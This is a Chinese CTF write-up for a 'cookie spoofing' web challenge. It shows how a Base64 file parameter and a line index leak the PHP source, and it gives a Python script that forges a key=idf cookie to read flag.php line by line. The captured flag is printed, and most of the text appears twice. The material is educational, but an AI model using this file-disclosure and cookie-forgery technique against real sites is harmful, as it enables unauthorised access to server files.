地址:
ctf.idf.cn/index.php?g=game&m=article&a=index&id=40
题目:
http://ctf.idf.cn/game/web/40/index.php
参考:
blog.youkuaiyun.com/sn_rna/article/details/45195083
点击进去发现是一大段字符串,呵呵:-),查看源代码,呵呵:-)。。。
接着看看题目:Cookie 欺骗,大概知道要了解哪些信息了。
首先,打开题目后看地址:
ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ
这个 ZmxhZy50eHQ 应该是一种Base64编码,直接利用工具解码:tool.chinaz.com/Tools/Base64.aspx
解得:flag.txt
这就说明在ctf.idf.cn/game/web/40/index.php? 下面file的参数是以Base64编码投入的,猜想主页肯定有源代码
那就让参数file=(Base64)index.php (转换一下吧),敲回车键,???没有动静,再看看源代码,什么也没有,是不是少了什么?
再往前看,还有一个参数line没有用到,那就试一试吧,令其等于0,1,2,3 ......每敲一次回车,就显示了一行信息,整理后如下:
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
没学过这些东西,还是猜一下什么意思吧...
大概应该也许是。。
这个网站中有一个file=ZmxhZy50eHQ (刚刚的flag.txt)的东西。
根据echo的翻译是回显,推断之后命令是显示flag.php里面的东西,但是刚刚显示的只有一大串字符,不对,刚刚的密文是flag.txt的,那就试试这个.php的密文。结果不行。再回头看看上面代码,发现中间还有一个判断cookie的key是不是idf,剩下就需要投入‘idf’到cookie这个变量里。
投入很简单一个等于符号就行了,可是如何提交这个cookie呢?
这就根本不会了。。。
搜索吧。。。其实这道题我只完成到提取代码,剩下的基本看博客—参考网站:blog.youkuaiyun.com/sn_rna/article/details/45195083
Cookie 欺骗:
import requests
import sys
cookies = {'key': 'idf'}
for i in range(0,20):
url=" http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
filename = u"/home/shinukami/MyFileSystem/study/flag.txt"
fp = open(filename, 'a')
print(wp.text)
fp.write(wp.text)
fp.close()
print("get flag success")
cd 到目录下,python 文件名.py 运行,发现缺少requests,原来这个爬虫需要附加库:python-pip python-requests 等;
那就安装附加库吧, sudo apt-get install python-pip 自动安装关联库(包括了requests等);
继续执行 python 文件名.py,得到 flag.txt
打开查看得:<?php $flag='wctf{idf_c00kie}'; ?>
ctf.idf.cn/index.php?g=game&m=article&a=index&id=40
题目:
http://ctf.idf.cn/game/web/40/index.php
参考:
blog.youkuaiyun.com/sn_rna/article/details/45195083
点击进去发现是一大段字符串,呵呵:-),查看源代码,呵呵:-)。。。
接着看看题目:Cookie 欺骗,大概知道要了解哪些信息了。
首先,打开题目后看地址:
ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ
这个 ZmxhZy50eHQ 应该是一种Base64编码,直接利用工具解码:tool.chinaz.com/Tools/Base64.aspx
解得:flag.txt
这就说明在ctf.idf.cn/game/web/40/index.php? 下面file的参数是以Base64编码投入的,猜想主页肯定有源代码
那就让参数file=(Base64)index.php (转换一下吧),敲回车键,???没有动静,再看看源代码,什么也没有,是不是少了什么?
再往前看,还有一个参数line没有用到,那就试一试吧,令其等于0,1,2,3 ......每敲一次回车,就显示了一行信息,整理后如下:
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
没学过这些东西,还是猜一下什么意思吧...
大概应该也许是。。
这个网站中有一个file=ZmxhZy50eHQ (刚刚的flag.txt)的东西。
根据echo的翻译是回显,推断之后命令是显示flag.php里面的东西,但是刚刚显示的只有一大串字符,不对,刚刚的密文是flag.txt的,那就试试这个.php的密文。结果不行。再回头看看上面代码,发现中间还有一个判断cookie的key是不是idf,剩下就需要投入‘idf’到cookie这个变量里。
投入很简单一个等于符号就行了,可是如何提交这个cookie呢?
这就根本不会了。。。
搜索吧。。。其实这道题我只完成到提取代码,剩下的基本看博客—参考网站:blog.youkuaiyun.com/sn_rna/article/details/45195083
Cookie 欺骗:
下面是通过python爬虫对line进行遍历得到flag的源码:
网站python源码:
# -*- coding: utf-8 -*- # #用中文字符改变编码方式为UTF-8
#_author_楠
import requests #调用url、cookie操作 文件操作的库
import sys
cookies = {'key': 'idf'} #设置cookies为key值为idf 即cookies欺骗
for i in range(0,20): #循环打开网页并抓取网页文本信息存入本地
url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
filename = u"C:/Users/楠/Desktop/flag.txt"
fp = open(filename, 'a')
print(wp.text)
fp.write(wp.text)
fp.close()
print("get flag success")
import requests
import sys
cookies = {'key': 'idf'}
for i in range(0,20):
url=" http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
filename = u"/home/shinukami/MyFileSystem/study/flag.txt"
fp = open(filename, 'a')
print(wp.text)
fp.write(wp.text)
fp.close()
print("get flag success")
cd 到目录下,python 文件名.py 运行,发现缺少requests,原来这个爬虫需要附加库:python-pip python-requests 等;
那就安装附加库吧, sudo apt-get install python-pip 自动安装关联库(包括了requests等);
继续执行 python 文件名.py,得到 flag.txt
打开查看得:<?php $flag='wctf{idf_c00kie}'; ?>